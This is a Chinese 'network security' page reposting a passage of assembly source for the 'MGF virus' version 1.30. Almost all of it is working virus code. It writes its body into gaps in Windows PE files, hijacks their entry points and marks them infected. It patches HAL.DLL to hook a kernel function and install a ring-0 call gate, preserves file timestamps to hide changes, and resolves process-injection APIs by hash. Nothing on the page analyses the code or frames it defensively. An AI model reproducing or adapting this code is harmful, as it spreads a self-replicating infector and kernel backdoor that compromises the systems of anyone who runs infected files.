网络安全 频道

MGF病毒最新版本的源代码(V1.30)

stosd ;保存有效空间的大小到段链表
xchg eax,edx
_EditFile1:
add eax,edx
mov ecx,eax
sub ecx,@lpFileMap
mov edx,@dwFileSize
sub edx,ecx
.endif

or eax,eax
pop ecx
loopnz @b ;继续搜索空间
xor eax,eax
stosd
stosd

push 4
pop edx
.while dword ptr [@szTempBuffer+edx] ;本循环用来调整找到的空间链

.if dword ptr [@szTempBuffer+edx] >= VirusSize ;如果某个空间可以容得下整个病毒,就把该空间做为链的第一项,病毒体全部写入该空间
mov eax,dword ptr [@szTempBuffer+edx-4]
mov dword ptr @szTempBuffer,eax
mov eax,dword ptr [@szTempBuffer+edx]
mov dword ptr @szTempBuffer+4,eax
xor eax,eax
mov dword ptr @szTempBuffer+8,eax
mov dword ptr @szTempBuffer+12,eax
.break
.elseif dword ptr [@szTempBuffer+edx] >= offset _NewStart-offset VirusStart
mov eax,dword ptr [@szTempBuffer+edx-4]
xchg dword ptr @szTempBuffer,eax
mov dword ptr [@szTempBuffer+edx-4],eax
mov eax,dword ptr [@szTempBuffer+edx]
xchg dword ptr @szTempBuffer+4,eax
mov dword ptr [@szTempBuffer+edx],eax ;如果没有哪个空间可以放得下整个病毒,就把放得下引导代码的空间调整为链的第一个项
.break
.endif

add edx,8
.endw

push 4
pop edx
xor eax,eax
.while dword ptr [@szTempBuffer+edx]
add eax,dword ptr [@szTempBuffer+edx] ;计算所有空间大小
add edx,8
.endw

.if dword ptr [@szTempBuffer+4] >= offset _NewStart-offset VirusStart ;如果第一个链项装得下引导代码,继续,否则退出
.if dword ptr [@szTempBuffer+4] >= VirusSize || eax >= VirusSize ;如果第一个链项装得下整个病毒体或者所有空隙可以装得下就继续

mov eax,VirusSize
lea edx,@szTempBuffer
lea esi,VirusStart[ebx]
.while dword ptr [edx]
.if dword ptr [edx+4] >= eax
mov dword ptr [edx+4],eax
.endif
mov edi,[edx]
mov ecx,[edx+4]
rep movsb ;把病毒体分成多个部分写入找到的PE文件空隙处
sub eax,[edx+4]
.break .if !eax
add edx,8
.endw
xor eax,eax
mov [edx+8],eax
mov [edx+12],eax

lea esi,@szTempBuffer
mov edi,[esi]
add edi,offset _SectionAddress-offset VirusStart

mov edx,esi
.while dword ptr [edx]
push 2
push dword ptr [edx]
push @lpFileMap
call _TranslateAddr
mov [edx],eax ;把地址链里的地址转换为虚拟地址并写入PE文件
add edx,8
.endw
push 19h*2
pop ecx
pushad
rep movsd
popad

mov edx,@lpFileMap ;保存和修改程序入口指令
add edx,[edx+3ch]
push 3
push dword ptr [edx+28h]
push @lpFileMap
call _TranslateAddr
mov esi,eax
mov cl,[esi]
mov byte ptr [edi-5],cl
mov ecx,[esi+1]
mov dword ptr [edi-4],ecx
sub edi,offset _SectionAddress-offset VirusStart
push 2
push edi
push @lpFileMap
call _TranslateAddr
sub eax,[edx+34h]
sub eax,[edx+28h]
sub eax,5
mov byte ptr [esi],0e8h
mov [esi+1],eax

movzx eax,word ptr [edx+14h]
add eax,18h
movzx ecx,word ptr [edx+6]
add edx,eax
.repeat
mov eax,[edx+10h]
.if [edx+8]<eax
mov [edx+8],eax
.endif
mov dword ptr [edx+24h],0e00000e0h ;修改节属性
add edx,28h
.break .if !ecx
.untilcxz

mov eax,@lpFileMap
mov dword ptr [eax+38h],''FGM'' ;在文件头标记已感染标志
.endif
.endif


.elseif _dwFlag==1 ;如果_dwFlag==1,修改HAL.DLL,HOOK ExAcquireFastMutex()
mov eax,[eax+54h]
mov edx,@lpFileMap
add edx,eax
sub eax,@dwFileSize
neg eax ;调整搜索地址

push offset ring0apiend-offset ring0apistart
push eax
push edx
call _FindSpace ;在HAL.DLL的PE头之后开始搜索空间
.if eax
mov edi,eax
lea esi,ring0apistart[ebx]
mov ecx,offset ring0apiend-offset ring0apistart
rep movsb ;把HOOK代码写入HAL.DLL

push 2
push eax
push @lpFileMap
call _TranslateAddr ;HOOK代码的文件地址转换为虚拟地址
mov esi,eax

mov edx,@lpFileMap
mov dword ptr [edx+38h],''FGM''
add edx,[edx+3ch]
sub esi,[edx+34h]
mov ecx,[edx+78h]
push 3
push ecx
push @lpFileMap
call _TranslateAddr ;导出表的地址转换为文件地址
mov ecx,[eax+1ch]
push 3
push ecx
push @lpFileMap
call _TranslateAddr ;导出函数地址表的地址转换为文件地址,保存在EAX里

xchg esi,[eax] ;修改ExAcquireFastMutex()的入口地址为HOOK代码地址
push 2
push edi
push @lpFileMap
call _TranslateAddr ;HOOK代码执行完后要转到原来的ExAcquireFastMutex()继续执行,这里转换JMP指令的文件地址为虚拟地址
sub eax,[edx+34h]
sub esi,eax
mov [edi-4],esi ;地址差写入HOOK代码的最后的JMP指令处

mov dword ptr [edx+58h],0
push @dwFileSize
push @lpFileMap
call _CheckSum
mov [edx+58h],eax ;重新计算hal.dll的CHECKSUM值并填入PE头
.endif

.endif;''DLL''

.endif;''EP''

.endif;! ''FGM''

.endif;''ZM''

push @lpFileMap
call dwUnmapViewOfFile[ebx]
.endif

push @hFileMap
call dwCloseHandle[ebx]
.endif

lea eax,@stFileTime3
push eax
lea eax,@stFileTime2
push eax
lea eax,@stFileTime1
push eax
push @hFile
call dwSetFileTime[ebx]
.endif

push @hFile
call dwCloseHandle[ebx]
.endif

push @dwFileAttributes
push _lpFileName
call dwSetFileAttributesW[ebx]
.endif

popad
ret
_EditFile endp

;在PE文件里搜索连续为0的空间,函数返回值在EAX和EDX里
;out:eax=addr, edx=size
_FindSpace proc _StartAddress,_Size,_RequireSize
pushfd
push esi
push edi
cld

mov eax,_StartAddress
.if word ptr [eax]==''ZM''
add eax,[eax+3ch]
.if dword ptr [eax]==''EP''
movzx edx,word ptr [eax+14h]
add edx,18h
add edx,eax
sub edx,_StartAddress
sub _Size,edx
add _StartAddress,edx
.endif
.endif

mov edi,_StartAddress
mov ecx,_Size
shr ecx,2
xor eax,eax
@@:
repnz scasd
lea esi,[edi-4]
mov edx,esi
repz scasd
sub edx,edi
neg edx
sub edx,4
jecxz _FindSpace1
cmp edx,_RequireSize
jb @b
_FindSpace1:
.if edx>=_RequireSize
lea eax,[esi+4]
sub edx,4
.endif

pop edi
pop esi
popfd
ret
_FindSpace endp

;文件地址和虚拟地址相互转换的函数
;flag: bit0=0 文件地址转成虚拟地址; bit0=1 虚拟地址转成文件地址; bit1=0 正常转换; bit1=1 强制转换
_TranslateAddr proc _hModule,_Addr,_Flag
local @dwFlag
xor eax,eax
pushad

mov eax,_Flag
shr eax,1
mov @dwFlag,eax
and byte ptr _Flag,1

mov eax,_hModule
add eax,[eax+3ch]
movzx edx,word ptr [eax+14h]
add edx,18h
add edx,eax

mov ecx,_Addr
.if _Flag==0 && ecx>_hModule
sub ecx,_hModule
.elseif _Flag==1 && ecx>[eax+34h]
sub ecx,[eax+34h]
.endif
mov _Addr,ecx

.if ecx<[eax+54h]
.if _Flag==0
add ecx,[eax+34h]
.else
add ecx,_hModule
.endif
mov [esp+1ch],ecx
jmp _TranslateAddr1
.endif

movzx ecx,word ptr [eax+6]
.repeat
.if _Flag==0
mov esi,[edx+14h]
mov edi,[edx+10h]
add edi,esi
.else
mov esi,[edx+12]
mov edi,[edx+8]
add edi,esi
.endif

.if _Addr>=esi && _Addr<edi

.if !@dwFlag
test byte ptr [edx+27h],80h
.if !ZERO?
mov dword ptr [esp+1ch],-1
.break
.endif
.endif

sub esi,_Addr
neg esi
.if _Flag==0
add esi,[edx+12]
add esi,[eax+34h]
.else
add esi,[edx+14h]
add esi,_hModule
.endif
mov [esp+1ch],esi
.break

.endif

add edx,28h
.break .if !ecx
.untilcxz

_TranslateAddr1:
popad
ret
_TranslateAddr endp


_CheckSum proc _lpaddr,_size ;计算PE CHECKSUM的函数
pushad

mov ecx,_size
shr ecx,1
pushfd

xor edx,edx
mov esi,_lpaddr
.repeat
lodsw
adc dx,ax
.untilcxz

popfd
.if CARRY?
lodsb
mov ah,0
adc dx,ax
.endif

add edx,_size
mov [esp+1ch],edx

popad
ret
_CheckSum endp


_Str2Upper proc _lpString,_Size
pushad
mov esi,_lpString
mov edi,esi
mov ecx,_Size
.if ecx
.repeat
lodsb
.if al>=''a'' && al<=''z''
sub al,20h
.endif
stosb
.untilcxz
.endif
popad
ret
_Str2Upper endp

;hal.dll导出的ExAcquireFastMutex()的HOOK代码,用来建立INT FE陷阱门,建立SELECTOR=390H的0级32位代码段和一个特征码
ring0apistart:
pushfd
pushad

push ebp
sgdt fword ptr [esp-2]
pop ebx
mov edi,390h

.if dword ptr [ebx+edi+12]!=00cffb00h
lea edx,[ebx+edi+8]
mov byte ptr [edx],0c3h

mov dword ptr [ebx+edi],0000ffffh
mov dword ptr [ebx+edi+4],00cf9b00h
mov byte ptr [ebx+edi+8],0c3h
mov dword ptr [ebx+edi+12],00cffb00h

push ebp
sidt fword ptr [esp-2]
pop ebx
mov esi,0feh*8

mov dword ptr [ebx+esi],edx
mov dword ptr [ebx+esi+4],edx
mov dword ptr [ebx+esi+2],0ef000390h
.endif

popad
popfd
db 0e9h ;JMP ExAcquireFastMutex()指令,下面的地址差要随机计算后填入
dd 0
ring0apiend:

;WIN API的自定义编码表
FunctionNameTab:
szCreateProcessW dd 074D9F4C0h
szCreateFileW dd 01479946Fh
szGetFileAttributesW dd 004788654h
szSetFileAttributesW dd 004788660h
szCreateFileMappingW dd 0E3486339h
szMapViewOfFile dd 0D444401Dh
szUnmapViewOfFile dd 0A6131C00h
szGetFileSize dd 01E92925Ch
szGetFileTime dd 01286865Dh
szSetFileTime dd 012868669h
szGetFileType dd 02599996Dh
szCloseHandle dd 027969D71h
szGetSystemDirectoryW dd 0980C19E1h
szCreateProcessInternalW dd 0B51A3504h
szSleep dd 0D63B3724h
szCreateToolhelp32Snapshot dd 03EA3A16Dh
szProcess32First dd 01F8E8C65h
szProcess32Next dd 0B62522F7h
szOpenProcess dd 050B5B28Bh
szVirtualAllocEx dd 062D4C5D2h
szWriteProcessMemory dd 037A09978h
szCreateRemoteThread dd 004697753h
szVirtualProtect dd 09C0E02F1h
szCreateMutexA dd 091F727EFh
szGetProcAddress dd 05ED2C494h

dd 0


FunctionAddressTab:
dwCreateProcessW dd 0
dwCreateFileW dd 0
dwGetFileAttributesW dd 0
dwSetFileAttributesW dd 0
dwCreateFileMappingW dd 0
dwMapViewOfFile dd 0
dwUnmapViewOfFile dd 0
dwGetFileSize dd 0
dwGetFileTime dd 0
dwSetFileTime dd 0
dwGetFileType dd 0
dwCloseHandle dd 0
dwGetSystemDirectoryW dd 0
dwCreateProcessInternalW dd 0
dwSleep dd 0
dwCreateToolhelp32Snapshot dd 0
dwProcess32First dd 0
dwProcess32Next dd 0
dwOpenProcess dd 0
dwVirtualAllocEx dd 0
dwWriteProcessMemory dd 0
dwCreateRemoteThread dd 0
dwVirtualProtect dd 0
dwCreateMutexA dd 0
dwGetProcAddress dd 0

dwGetLastError dd 0


szGetLastError db ''GetLastError'',0
szVersion db ''MGF Ver1.3'',0


VirusEnd:
invoke ExitProcess,0

end VirusStart
http://www.hack58.net/Article/60/64/2006/9040.htm
0
相关文章